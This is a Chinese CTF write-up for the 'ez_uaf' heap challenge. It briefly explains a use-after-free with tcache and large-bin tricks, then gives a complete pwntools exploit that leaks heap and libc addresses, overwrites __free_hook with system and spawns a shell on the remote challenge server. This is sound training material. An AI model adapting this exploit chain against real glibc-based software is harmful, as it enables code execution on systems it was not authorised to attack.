Problem: [HNCTF 2022 WEEK4]ez_uaf
[[toc]]
思路
常见保护全开。可以知道 libc 对应的链接器 ld 为 (Ubuntu GLIBC 2.27-3ubuntu1.6)。对应 patch 一下就好了。
- add 逻辑最多循序场上有 16 个 chunk。每一个 chunk 大小不得大于 0x500。与此同时使用 table 结构管理 chunk。table结构有四个四段 name, address, size, in use。
- delete 逻辑存在 UAF 漏洞,释放顺序正确
- show、edit 逻辑还好
一般这种题目题目可以使用 tcache reverse into fastbin 来执行攻击。如果释放顺序错误就更简单了。
为了方便泄露 libc, 我们使用 large bin 直接绕过 tcache。然后劫持 pread head(tcache)达到任意写。利用 fastbin 任意写也可以不够需要伪造。如果这样子需要打 malloc_hook 和 one_gadget。
EXP
from pwn import *
context.os = "linux"
context.arch = "amd64"
def choice(item):
if isinstance(item,int):
item = str(item).encode()
io.recvuntil(b"Choice: \n")
io.send(item) # io.sendline(item)
def add(chunk_size, name, data):
if isinstance(chunk_size,int):
chunk_size = str(chunk_size).encode()
choice(1)
io.recvuntil(b"Size:\n")
io.send(chunk_size)
io.sendafter(b"Name: \n", name)
io.sendafter(b"Content:\n", data)
def dele(chunk_id):
if isinstance(chunk_id,int):
chunk_id = str(chunk_id).encode()
choice(2)
io.recvuntil(b"Input your idx:\n")
io.sendline(chunk_id)
def show(chunk_id):
if isinstance(chunk_id,int):
chunk_id = str(chunk_id).encode()
choice(3)
io.recvuntil(b"Input your idx:")
io.sendline(chunk_id)
def edit(chunk_id, data):
if isinstance(chunk_id,int):
chunk_id = str(chunk_id).encode()
choice(4)
io.recvuntil(b"Input your idx:")
io.sendline(chunk_id)
io.send(data)
local = False
if local:
io = process("./pwn")
else:
ip = "node5.anna.nssctf.cn"
port = 24559
io = remote(ip, port)
elf=ELF("./pwn")
libc=ELF("./libc-2.27.so")
add(0x20, b'chunk0', b'a'*8) # 0x30 * 2
add(0x20, b'chunk1', b'b'*8) #
add(0x420, b'chunk2', b'c'*8)
add(0x420, b'chunk3', b'd'*8)
add(0x20, b'chunk4', b'b'*8)
dele(0)
dele(1)
dele(2)
dele(3)
dele(4)
add(0x20, b'chunk 5', b'a' * 0x10)
show(5)
io.recvuntil(b'a'*0x10)
heapbase=u64(io.recvline()[:-1].ljust(8, b'\x00'))-0x7a0-0x10
success("heap base : 0x%x" % heapbase)
edit(5, b'a'*0x10+p64(heapbase+0x350)+p32(0x100)+p32(1))
show(3)
io.recvline()
io.recvline()
libcbase=u64(io.recvline()[:-1].ljust(8, b'\x00'))-libc.sym['__malloc_hook']-0x70
success("libc base : 0x%x" % libcbase)
__free_hook=libcbase+libc.sym['__free_hook']
system=libcbase+libc.sym['system']
##[*] control ptread head
edit(5, b'a'*0x10+p64(heapbase+0x10)+p32(0x100)+p32(1))
dele(3)
add(0x240, b'chunk 6', p8(0)+b'\x05'*(0x40-1) + p64(0) + p64(heapbase+0x320) + p64(__free_hook))
add(0x30, b'chunk 7', p64(system)*2)
add(0x20, b'chunk 8', b'/bin/sh\x00')
dele(8)
io.interactive()
总结
- 常见手法
